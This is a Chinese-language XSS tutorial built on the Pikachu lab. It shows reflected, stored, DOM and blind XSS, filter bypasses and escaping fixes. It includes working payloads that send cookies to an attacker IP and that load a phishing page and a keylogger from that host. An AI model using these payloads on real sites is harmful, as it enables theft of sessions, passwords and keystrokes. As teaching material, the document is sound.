XSS(跨站脚本)概述
跨站脚本漏洞常见类型
危害:存储型>反射性>DOM型
- 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
- 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面。
- DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。
跨站脚本漏洞测试流程
- 在目标站点上找到输入点,比如查询接口,留言板等;
- 输入一组”特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否做对应的处理;
- 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);
- 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
TIPS:
- 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS;
- 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
- 通过变化不同的script,尝试绕过后台过滤机制;
反射型XSS(get)
在对应的输入点输入一些特殊的字符,比如说单引号’,双引号”,尖括号<>,这样的一个payload。
这样做的目的是为了查看会不会被过滤掉。输出的时候有没有被处理
然后查看页面源码:Ctrl+F查询6666
可以看到之前输入的内容被输出在了P标签里,也就是说直接被输出到了html的P标签的源码里。
那也意味着说,我们输入的这些特殊字符又原封不动地输出到了P标签。那是不是也意味着我们输入一些正确的JS代码,它也会原封不动地返回回来呢。
输入框限制的长度为20
因为只是在前端,所以我们可以对其进行修改。这也是一个小的知识点。
然后输入
<script>alert('xss')</script>
发现我们提交的这一段JS代码,输入输出之后,成功地在浏览器里面执行了。然后按照我们的预期,alert出了一个xss这样一个字符。这就是一个典型的反射型xss类型。
那么反射型xss实际上它的数据从前端的接口输入,然后到后端接受又输出。其实后端是没有对它进行存储的。也就是说,如果你重新刷新这个页面,那么这个代码就没了。
然后我们先不刷新这个页面,查看源码。然后可以看到我们输入的payload,即这个方法被嵌入到了P标签里面。而这又是一个前端的JavaScript语法,然后就被浏览器正确地给执行了,所以就弹出了以上的xss框。但是如果刷新之后,就不会弹出xss的框了。
Ok,那么下面我们通过后端的代码,来查看漏洞形成的原因:
先判断是否为空,是否为Kobe,如果不是,那么它就会把你输入的内容原封不动地输出到P标签里面。这个过程,都是没有做防xss的处理的,那也就形成了一个反射型的xss漏洞。
输入以下payload
pt><script>alert(1)</script>
输出为:
它是以get方式来提交的
然后复制以上内容,浏览器对其自动进行了URL的编码,那也就是说把这个URL在浏览器里面访问,那么它就会提交我们刚刚的那一段JavaScript,并执行。
那也就是说这种get型的xss是比较好利用的,比如说某个著名的论坛出现了一个反射型的xss漏洞,然后我们就可以精心地输入一个JavaScript,不仅仅是弹窗,你可以发挥想象去做你想做的事情。
比如说可以构造一个对应的payload,然后把这个连接发送给需要攻击的目标。一旦受害者点击了这个域名,因为他看到这个域名是一个比较出名的论坛的URL,他可能会觉得这个连接没有问题。但是实际上一旦他点击这个连接之后,这个URL向后台以GET的方式提交了一个恶意的JavaScript的payload,然后又被返回回来,最后就把自己给X到了。
反射型跨站脚本漏洞之get&post
GET和POST典型区别:
-
GET是以url方式提交数据;
-
POST是以表单方式在请求体里面提交;
GET方式的XSS漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的URL伪装后发送给目标
而POST方式由于是表单方式提交,无法直接使用URL方式进行攻击。
存储型XSS漏洞
存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。
在pikachu中我们尝试留个言:
发现这个留言会被存在这个页面上,刷新也会存在页面上。也就是说我们提交的这个留言会被后台存下来,存在数据库里边或者是配置文件里了。
然后我们根据之前的思路,查看这个点是否存在XSS漏洞。(输入特殊字符)
点击提交后,我们可以看到从表面上,我们所输入的这一串字符被直接当做内容显示出来了。然后我们查看源码。
同反射型xss原理相同,并没有对输入进行过滤或转义的处理的。
同理输入====,它就会被存储在后台中,该如果留言一直存在,这样我们每次刷新,都会出现弹窗。这是比较好理解的。
显而易见,存储型的XSS的危害会更大,因为它会造成持续性的伤害。所有访问该页面的用户,都会中招。
首先判断你的输入里面有没有对应的message,并且这个message不为空。然后对其进行一个转义(24行),这个主要是防止SQL注入的。然后直接就通过insert把这个message给插入到了表里面,也就是存到后台了。然后页面又进行了以下的操作:
使用SQL语句执行留言列表里的留言,且循环读出来。虽然它做了数据库的转义,但是从数据库里面读取出来之后,再放到页面上,输出的时候,也就是echo,它就直接把这个对应的字段(content)原封不动地输出到了前端的浏览器里,所以就形成了存储型的XSS漏洞。
总的来说,存储型的XSS与反射型的XSS道理差不多。
DOM型XSS
什么是DOM:
DOM文件对象模型(Document Object Model)
DOM的api不属于JS语言的本身,而是浏览器实现了api,并且浏览器给了开发者用js来操作dom的权力。
通过JavaScript,可以重构整个HTML文档。您可以添加、移除、改变或重排页面上的项目。
要改变页面的某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML 元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)。
所以,你可以把DOM理解为一个一个访问HTML的标准编程接口。
DOM的操作都是在前端完成的
pikachu实验演示
先在接口随意输入字符:
点击what do you see?
然后看看源码,它是实现了怎样的一个操作,可以看到有一段JavaScript的代码:
首先呢它是使用了DOM里面的document.getElementById的这个方法,去获取到了Id=text标签的值。而这个text就是input,我们所输入的内容,它把我们输入的内容赋值给str。然后又把我们输入的内容通过字符串拼接的方式写到了a标签的href属性里面。
整个意思就是说:我们在标签里面输入一个字符串,之后它就会把这个字符串通过DOM的方法把它拼接到a标签里面。这个a标签会被写到Id=dom这么一个div的标签里面。
那我们如何来确认这个地方有没有存在XSS漏洞呢。实际上,思路和反射型,存储型的思路是一样的。首先先确认它的输入点,输入点就是在input里面。反射型、存储型输出都是在后台输出的,都是后台接收到这个数据以后,又把它alert到了前端。但是DOM是纯前端的操作,我们通过input输入之后,它就直接通过getElementById的这个方法去把这个数据获取到了。然后在div里面把它输出了,通过这个innerHTML把它写到了这个div里面了。并且我们可以看到输入和输出之间是没有转义操作的。
然后我们将这一段复制出来,并将其构造成一个闭合:
<a href='"+str+"'>what do you see?</a>
然后最下面那一段就是我们构造出来的payload,也就是说如果我们输入这个内容,按照我们的预期,它应该会在div标签里面,通过DOM方法获取到这个输入,然后又把它输出到div里面
最后将其复制,输入在接口,点击a标签就会弹出111的窗口了:
那么形成DOM型XSS漏洞的原因就是前端的输入被DOM 获取到了,然后又被DOM输出了。整个过程跟反射型、存储型比起来它是不经过后台去进行交互的。
DOM型XSS-X
我们先随意输入一个字符串:
查看源码,可以看到出现了一段JavaScript的代码:
在这里面定义了一个function,这个函数首先使用window.locatio.searh这么一个DOM的方法,去获取浏览器里面的参数,它会把URL里面传参的内容给获取下来。然后对其进行一个URL的解码,然后用text这个字符串去进行分割,然后获取到对应的内容。
那么实际上就是从输入框里面获取输入的内容,然后把这个输入的内容赋值给xss这么一个变量。然后又把这个xss跟上一个DOM型的XSS一样,把它写到了a标签中。
而这种情况跟上个DOM型XSS不同的之处在于他的输入实际上是从浏览器的URL里面去获取的。也就是说形成这个漏洞的输入点其实是在我们URL里面的参数里。
那我们再次构造一个payload,其实payload可以和之前的一样。
<a href='"+str+"'>what do you see?</a>
提交之后,根据之前我们读的逻辑,实际上它就会把我们提交的内容赋值给a标签,然后我们点一下这个a标签:
然后可以看到,我们点击这个a标签,其实它就是去实行这个function。
function里a标签里面的内容就会被写到div里去。
也就是说让往事都随风吧这个a标签它的href后面实际上就跟着一个onclick这么一个属性。点一下它就会弹窗。
这种情况也是一种DOM型的XSS,但是它唯一的区别就在于DOM的输入是从浏览器里面获取的。其实这就是跟反射型一样,只需要将这一段URL发送给被攻击者,只要被攻击打开这个连接,那我们构造的这一段恶意的JavaScript代码就会被插入到用户的页面里面去。
XSS如何获取cookie
首先搭建好XSS后台,如何搭建,网上都有教程。
如果是按照理想的流程来看,是需要搭建另一个pikachu网站作为xss后台的地址(攻击者),然后以原来的网站做为被攻击者。但是这里我就直接使用同一个网站作为攻击机和被攻击机了。IP:192.168.238.132
然后输入以下payload:
<script>document.location = 'http://192.168.238.132/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
它就会跳转到此处来:
因为在这里我设定让他定向到一个可信的网站,即pikachu的网站。当然,也可以跳转至其他页面,这主要的目的就是为了掩盖你背后的行为
进入XSS后台观看:
比如说有一个著名的论坛,然后跟用户聊天的时候,告诉他有一个活动,欺骗用户去点击,一旦用户在浏览器里面访问了这个链接,它就会跳到首页(pikachu)当然也可以跳至其他页面。
并且,下面那条记录,就是我点击这个链接后产生的。
XSS钓鱼攻击
输入这段代码:
<img src="http://192.168.238.132/pkxss/xfish/fish.php"><script>
<script src="http://192.168.238.132/pkxss/xfish/fish.php"></script>
根据存储型XSS的特点,每点击一次就会让我们输入账号密码。
每当输入密码后,我们的XSS后台就会获取。
这个钓鱼就很烦,怎么样都钓不到。
XSS键盘记录
这里我就使用虚拟机和物理机一起操作了
实验前,先了解什么是跨域
跨域—同源策略:
为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的JavaScript并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置。比如通过:header(“Access-Control-Allow-Origin:x.com”)指定。
先在D:\phpstudy_pro\WWW\10.34.7.191\pikachu-master\pkxss\rkeypress\rk.js倒数第六行把ip修改为攻击者的ip,即虚拟机的pikachu的ip
Tips:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
这一策略就违反啦同源策略,(ajax)
打开浏览器控制台,打开网络;随着键盘的输入,会显示错误。(当然这时,pkxss后台也是没有键盘记录的)
由于127.0.0.1/pkxss/rkeypress/rkserver.php是攻击者自己搭建的,攻击者可以允许所有的人跨域请求他,因为这个网站是攻击者自己的,为了实现攻击目的,可以rkserver.php把里面的Access-Control允许所有人访问。
这样的话,存在xss漏洞的页面调js跨越请求时候就可以正常访问了。
输入以下JS代码
<script src="http://192.168.238.132/pkxss/rkeypress/rk.js"></script>
然后就能看到键盘的输入记录了。
XSS盲打
什么是XSS盲打,XSS盲打不是一种类型,而是XSS的一种应用场景。
也就是说只有后台会看到前端输入的内容,从前端无法判断是否存在XSS,怎么办?
不管三七二十一,往里面插XSS代码,然后等待,可能会有惊喜!
由于是后端,可能安全考虑不太严格。当管理员登陆时,就会被X!
先随便输入一段字符
我们输入的内容仿佛不会在前端输出,而是看起来被提交到他的后台了,他的管理员可能会去看。前端的用户是看不到的。
我们尝试输入:
<script>alert('xss')</script>
发现前端也不会弹窗,那意思就是,如果在后台输出的话,那么管理员可能就会被X到。
点一下提示,我们可以看到后台的登录地址,我们可以看一下它。
然后我们的角色就变成了管理员了,登录一下:
可以看到,登录之后就被X了。因为它的这页面会输出跨站脚本的内容,所以被X的就是管理员。而对于攻击者来说,其实它是一种尝试的行为,攻击者并不知道这个后台有没有输出,或者输出的时候有没有做过滤。而且这个还是一个存储型的漏洞,而且这种情况的危害也是比较大的。因为攻击者可以通过在前端注入一段盗cookie的脚本,然后当管理员登录后台之后,他就可以直接把这个后台管理员的登录信息的cookie给窃取到,然后就可以伪造管理员来登录后台了。
XSS绕过-过滤-转换
过滤-转换
0、前端限制绕过,直接抓包重放,或者修改html前端代码
1、大小写,比如:
2、拼凑:pt>
3、使用注释进行干扰:<scri<!- -test- ->pt>alert(111)</sc<!- -test- ->ript>
过滤-编码
核心思路:后台过滤了特殊字符,比如
在使用编码时需要注意编码在输出点是否会被正常识别和翻译!
例子1:
<img src=x onerror="alert('xss')"将alert('xss')进行URL编码,可以执行吗
<img src=x onerror="alert%28%27xss%27%29"/>
并不会执行,why?因为这些属性标签并不会正常解析这些编码
例子2:使用事件属性onxxx();
<img src=x onerror="alert('xss')"/>可以把alert('xss')进行html编码
<img src=x onerror="alert('xss')"/>
<img src=x onmouseover="alert('xss')"/>
可以执行,注意:事件标签里面并不会执行<script></script>标签里面的代码
XSS绕过的姿势有很多,取决于你的思路和对前端技术的掌握程度。XSS的绕过非常灵活,并没有固定的方法,所以需要大家平时多尝试多积累。
pikachu实验演示
随便输入以下字符
<script>;";666
查看源码可以看到我们输入的script的标签被去掉了,是不是意味着后台对我们的script标签进行了过滤呢。
XSS绕过-关于htmlspecialchars()函数
htmlspecialchars()函数把预定义的字符转换为HTML实体。
可用的引号类型:
ENT_COMPAT -默认。仅编码双引号。
ENT_QUOTES -编码双引号和单引号。
预定义的字符是:
&(和号)成为&
“(双引号成为"
‘(单引号)成为'
<(小于)成为<
>(大于)成为>
可用的引号类型:
ENT_COMPAT -默认。仅编码双引号。
ENT_QUOTES -编码双引号和单引号。
ENT_NOQUOTES -不编码任何引导。
pikachu实验演示
先随意输入一段字符串,查看源码:
1111'"<>&
可以看到有很多的&符号,意思就是htmlspecialchars它会对我们输入的内容进行相应的编码。但可以发现唯独只有单引号没有被处理,那这里就是默认使用htmlspecialchars做的后端的过滤。
这样我们可以构造这样的payload
q'onclick='alert(1111)'
提交后点击onclick,可以看到显示出来了。
然后从后端代码查看原因:
防范措施就是加上ENT_QUOTES -编码双引号和单引号,这一段
XSS常见的防范措施-XSS之href输出、XSS之JS输出
总的原则:输入做过滤,输出做转义
- 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许手机号根式的数字。
- 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行实体转义,输入到JS里面的进行JS转义。
XSS-href
先看一下后端代码:
可以看到它这里使用了ENT_QUOTES进行编码,那就是说单引号也会被处理。
输入以下的payload:
javascript:alert(111)
查看源码:
我们可以看到这个payload在a标签的href里面。点击后,我们刚才输入的那个alert就被执行了。
所以在a标签的href里面,如果有输出的时候,在这个点我们该怎样去做防范措施呢?
因为href里面使用来写一个超链接的,所以我们在输入的时候仅仅值允许这个地方是http或者是https开头的协议才允许它从这个地方输出,否则不允许。
XSS-JS
首先随便输入111,查看源码:
可以看到它会把我们的输入放到这个JS里面来,然后再对这个变量进行判断,最后在做对应的输出。
输入tmac
然后我们可以在这个地方构造一个闭合,JS的payload其实无非就是去构造一个闭合。我们先把这一段JS复制下来。
<script>
$ms='111';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
对其进行闭合构造后:
<script>
$ms='x'</script><script>alert('xss')</script>';
//就是把前面那段JS被闭合掉,然后再使用我们的payload。
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
x'</script><script>alert('xss')</script>
提交后我们的payload就会被执行了。
然后再来看看后端解释